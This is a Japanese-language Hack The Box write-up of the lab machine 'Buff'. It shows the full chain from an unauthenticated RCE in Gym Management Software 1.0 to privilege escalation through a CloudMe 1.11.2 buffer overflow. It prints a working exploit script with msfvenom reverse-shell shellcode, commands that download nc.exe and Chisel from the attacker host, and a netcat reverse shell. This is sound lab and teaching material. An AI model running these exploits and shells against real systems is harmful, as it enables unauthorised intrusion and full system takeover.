Hack The Box: Buffのwriteup。
マシン名がBuffなので、どこかでバッファオーバーフローでも使うのかな~などと考えながら臨んだ。
以下はnmapのスキャン結果。
└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-01 08:08 EST
Nmap scan report for 10.129.2.18
Host is up (0.32s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-title: mrb3n's Bro Hut
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.18 seconds
└─$ nmap -Pn -p- $RHOST -oG all-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-01 08:10 EST
Nmap scan report for 10.129.2.18
Host is up (0.31s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
7680/tcp open pando-pub
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 2070.45 seconds
8080番ポートにてApacheが実行されているのが確認できた。(後に全ポートをスキャンしたところ、7680番ポートも開いていたが、攻略には関係ないため割愛)
http://10.129.2.18:8080/
をブラウザで表示したところ、スポーツジムのwebサイトが現れた。
で、Contactタブ (http://10.129.2.18:8080/contact.php
) をクリックしたところ、Made using Gym Management Software 1.0 という一文が目についた。
Gym Management Softwareとは何ぞやとググったら、あっさりと遠隔コード実行のエクスプロイトが見つかった。
searchsploitでエクスプロイトをコピー。
└─$ searchsploit gym management
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Gym Management System 1.0 - 'id' SQL Injection | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py
GYM MS - GYM Management System - Cross Site Scripting (Stored) | php/webapps/51777.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
└─$ searchsploit -m php/webapps/48506.py
Exploit: Gym Management System 1.0 - Unauthenticated Remote Code Execution
URL: https://www.exploit-db.com/exploits/48506
Path: /usr/share/exploitdb/exploits/php/webapps/48506.py
Codes: N/A
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/HTB/Dedicated-Labs/owasp10-windows/Buff/48506.py
エクスプロイトを実行したところ、すんなりとwebshellが起動した。
└─$ python2 48506.py http://$RHOST:8080/
/\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
\/
[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> whoami
�PNG
▒
buff\shaun
C:\xampp\htdocs\gym\upload> dir
�PNG
▒
Volume in drive C has no label.
Volume Serial Number is A22D-49F7
Directory of C:\xampp\htdocs\gym\upload
01/01/2025 14:43 <DIR> .
01/01/2025 14:43 <DIR> ..
01/01/2025 14:43 53 kamehameha.php
1 File(s) 53 bytes
2 Dir(s) 8,084,635,648 bytes free
一般ユーザーのフラグc:\users\shaun\desktop\user.txt
を発見。
C:\xampp\htdocs\gym\upload> dir c:\users\shaun\desktop
�PNG
▒
Volume in drive C has no label.
Volume Serial Number is A22D-49F7
Directory of c:\users\shaun\desktop
14/07/2020 12:27 <DIR> .
14/07/2020 12:27 <DIR> ..
01/01/2025 13:07 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 8,093,433,856 bytes free
続いて権限昇格である。
最初はwebshell上で列挙を行っていたのだが、
- カレントディレクトリを変更できない。
- コマンドの内容によってはタイムアウトしてしまう。
などの問題が発生したため、きちんとしたシェルを仕込むことにした。
いくつか試したところ、Netcatからシェルを張ることが出来た。(msfvenomやPowerCatではシェルを張れなかった。理由は不明。)
curl http://10.10.16.174/nc.exe -o nc.exe
nc.exe 10.10.16.174 53 -e cmd.exe
└─$ rlwrap nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.16.174] from (UNKNOWN) [10.129.2.18] 49693
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\gym\upload>
さて、列挙の結果、標的マシンにはCloudMe (ストレージソフト)がインストールされていることが判明した。
C:\xampp\htdocs\gym\upload> powershell -ep bypass "Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname"
�PNG
▒
DisplayName
-----------
CloudMe
Microsoft Visual C++ 2017 Redistributable (x86) - 14.12.25810
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.12.25810
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.12.25810
Microsoft Visual C++ 2017 Redistributable (x64) - 14.12.25810
C:\xampp\htdocs\gym\upload>powershell -ep bypass "Get-ChildItem -Path C:\ -Include *cloudme* -File -Recurse -ErrorAction SilentlyContinue"
powershell -ep bypass "Get-ChildItem -Path C:\ -Include *cloudme* -File -Recurse -ErrorAction SilentlyContinue"
Directory: C:\Users\shaun\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 16/06/2020 16:26 17830824 CloudMe_1112.exe
またWinPEASより、CloudMeは8888番ポートで実行されているのが分かった。
╔══════════╣ Current TCP Listening Ports
╚ Check for services restricted from the outside
Enumerating IPv4 connections
Protocol Local Address Local Port Remote Address Remote Port State Process ID Process Name
TCP 0.0.0.0 135 0.0.0.0 0 Listening 960 svchost
TCP 0.0.0.0 445 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 5040 0.0.0.0 0 Listening 6248 svchost
TCP 0.0.0.0 7680 0.0.0.0 0 Listening 3848 svchost
TCP 0.0.0.0 8080 0.0.0.0 0 Listening 8980 C:\xampp\apache\bin\httpd.exe
TCP 0.0.0.0 49664 0.0.0.0 0 Listening 548 wininit
TCP 0.0.0.0 49665 0.0.0.0 0 Listening 1116 svchost
TCP 0.0.0.0 49666 0.0.0.0 0 Listening 1768 svchost
TCP 0.0.0.0 49667 0.0.0.0 0 Listening 2196 spoolsv
TCP 0.0.0.0 49668 0.0.0.0 0 Listening 668 services
TCP 0.0.0.0 49669 0.0.0.0 0 Listening 684 lsass
TCP 10.129.2.18 139 0.0.0.0 0 Listening 4 System
TCP 10.129.2.18 8080 10.10.16.174 41462 Established 8980 C:\xampp\apache\bin\httpd.exe
TCP 127.0.0.1 3306 0.0.0.0 0 Listening 9108 C:\xampp\mysql\bin\mysqld.exe
TCP 127.0.0.1 8888 0.0.0.0 0 Listening 1988 CloudMe
ググったところ、CloudMeのバージョン1.11.2にはバッファオーバーフローの脆弱性がある模様。マシン名がBuffなのも加味すると、おそらくこれが権限昇格の突破口と思われる。
エクスプロイトをコピーして、攻撃マシンへリバースシェルが張られるように手直しした。(msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.174 LPORT=443 EXITFUNC=thread -b "\x00\x0d\x0a" -f python
でシェルコードを生成)
searchsploit -m windows/remote/48389.py
└─$ cat 48389.py
# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC)
# Date: 2020-04-27
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86
#Instructions:
# Start the CloudMe service and run the script.
import socket
target = "127.0.0.1"
padding1 = b"\x90" * 1052
EIP = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS = b"\x90" * 30
#msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.174 LPORT=443 EXITFUNC=thread -b "\x00\x0d\x0a" -f python
buf = b""
buf += b"\xdd\xc3\xbe\x38\x66\xd3\xba\xd9\x74\x24\xf4\x58"
buf += b"\x29\xc9\xb1\x52\x31\x70\x17\x03\x70\x17\x83\xd0"
buf += b"\x9a\x31\x4f\xdc\x8b\x34\xb0\x1c\x4c\x59\x38\xf9"
buf += b"\x7d\x59\x5e\x8a\x2e\x69\x14\xde\xc2\x02\x78\xca"
buf += b"\x51\x66\x55\xfd\xd2\xcd\x83\x30\xe2\x7e\xf7\x53"
buf += b"\x60\x7d\x24\xb3\x59\x4e\x39\xb2\x9e\xb3\xb0\xe6"
buf += b"\x77\xbf\x67\x16\xf3\xf5\xbb\x9d\x4f\x1b\xbc\x42"
buf += b"\x07\x1a\xed\xd5\x13\x45\x2d\xd4\xf0\xfd\x64\xce"
buf += b"\x15\x3b\x3e\x65\xed\xb7\xc1\xaf\x3f\x37\x6d\x8e"
buf += b"\x8f\xca\x6f\xd7\x28\x35\x1a\x21\x4b\xc8\x1d\xf6"
buf += b"\x31\x16\xab\xec\x92\xdd\x0b\xc8\x23\x31\xcd\x9b"
buf += b"\x28\xfe\x99\xc3\x2c\x01\x4d\x78\x48\x8a\x70\xae"
buf += b"\xd8\xc8\x56\x6a\x80\x8b\xf7\x2b\x6c\x7d\x07\x2b"
buf += b"\xcf\x22\xad\x20\xe2\x37\xdc\x6b\x6b\xfb\xed\x93"
buf += b"\x6b\x93\x66\xe0\x59\x3c\xdd\x6e\xd2\xb5\xfb\x69"
buf += b"\x15\xec\xbc\xe5\xe8\x0f\xbd\x2c\x2f\x5b\xed\x46"
buf += b"\x86\xe4\x66\x96\x27\x31\x28\xc6\x87\xea\x89\xb6"
buf += b"\x67\x5b\x62\xdc\x67\x84\x92\xdf\xad\xad\x39\x1a"
buf += b"\x26\xd8\xb7\x34\x18\xb4\xc5\x34\x65\xfe\x43\xd2"
buf += b"\x0f\x10\x02\x4d\xb8\x89\x0f\x05\x59\x55\x9a\x60"
buf += b"\x59\xdd\x29\x95\x14\x16\x47\x85\xc1\xd6\x12\xf7"
buf += b"\x44\xe8\x88\x9f\x0b\x7b\x57\x5f\x45\x60\xc0\x08"
buf += b"\x02\x56\x19\xdc\xbe\xc1\xb3\xc2\x42\x97\xfc\x46"
buf += b"\x99\x64\x02\x47\x6c\xd0\x20\x57\xa8\xd9\x6c\x03"
buf += b"\x64\x8c\x3a\xfd\xc2\x66\x8d\x57\x9d\xd5\x47\x3f"
buf += b"\x58\x16\x58\x39\x65\x73\x2e\xa5\xd4\x2a\x77\xda"
buf += b"\xd9\xba\x7f\xa3\x07\x5b\x7f\x7e\x8c\x7b\x62\xaa"
buf += b"\xf9\x13\x3b\x3f\x40\x7e\xbc\xea\x87\x87\x3f\x1e"
buf += b"\x78\x7c\x5f\x6b\x7d\x38\xe7\x80\x0f\x51\x82\xa6"
buf += b"\xbc\x52\x87"
overrun = b"C" * (1500 - len(padding1 + NOPS + EIP + buf))
buf = padding1 + EIP + NOPS + buf + overrun
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(buf)
except Exception as e:
print(sys.exc_value)
が、ここで一つ問題が発生した。エクスプロイトはPythonで書かれているのだが、標的マシンにはPythonがインストールされていなかった。
C:\xampp\htdocs\gym\upload>where python
where python
INFO: Could not find files for the given pattern(s).
さらに、標的マシンはインターネットに接続されていないため、Pythonをダウンロードしてインストールすることもできない。
c:\Users\shaun>ping www.google.com
ping www.google.com
Ping request could not find host www.google.com. Please check the name and try again.
c:\Users\shaun>ping 8.8.8.8
ping 8.8.8.8
Pinging 8.8.8.8 with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Ping statistics for 8.8.8.8:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
攻撃マシンからWindows用のPython関連のファイルを標的マシンに転送してみたが、上手く起動しなかった。
結局、ServMonの時と同様にポート転送を行うことで解決した。以下、手順。
標的マシンにはSSHがインストールされていなかったので、Chiselを使うことにした。
まずは標的マシンにChiselを仕込む。
powersehll -ep bypass
iwr -uri http://10.10.16.174/chisel.exe -outfile chisel.exe
続いて攻撃マシンにてChiselをサーバーモードで起動。
chisel server -p 8000 --reverse
最後に標的マシンにてChiselをクライアントモードで起動。
chisel.exe client 10.10.16.174:8000 R:8888:127.0.0.1:8888
これで攻撃マシンの127.0.0.1:8888
宛の通信は、標的マシンの127.0.0.1:8888
(CloudMeのポート)へ転送される。
攻撃マシンにて、先述したバッファオーバーフローのエクスプロイトを実行。
python3 48389.py
するとエクスプロイトが標的マシンのCloudMeへと転送され、標的マシンから攻撃マシンへリバースシェルが張られた。
└─$ rlwrap nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.16.174] from (UNKNOWN) [10.129.2.18] 49720
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
buff\administrator
CloudMeは管理者権限で実行されており、rootユーザーのフラグc:\users\administrator\desktop\root.txt
を取ることが出来た。
C:\Windows\system32>dir c:\users\administrator\desktop
dir c:\users\administrator\desktop
Volume in drive C has no label.
Volume Serial Number is A22D-49F7
Directory of c:\users\administrator\desktop
18/07/2020 16:36 <DIR> .
18/07/2020 16:36 <DIR> ..
16/06/2020 15:41 1,417 Microsoft Edge.lnk
03/01/2025 14:10 34 root.txt
2 File(s) 1,451 bytes
2 Dir(s) 7,361,699,840 bytes free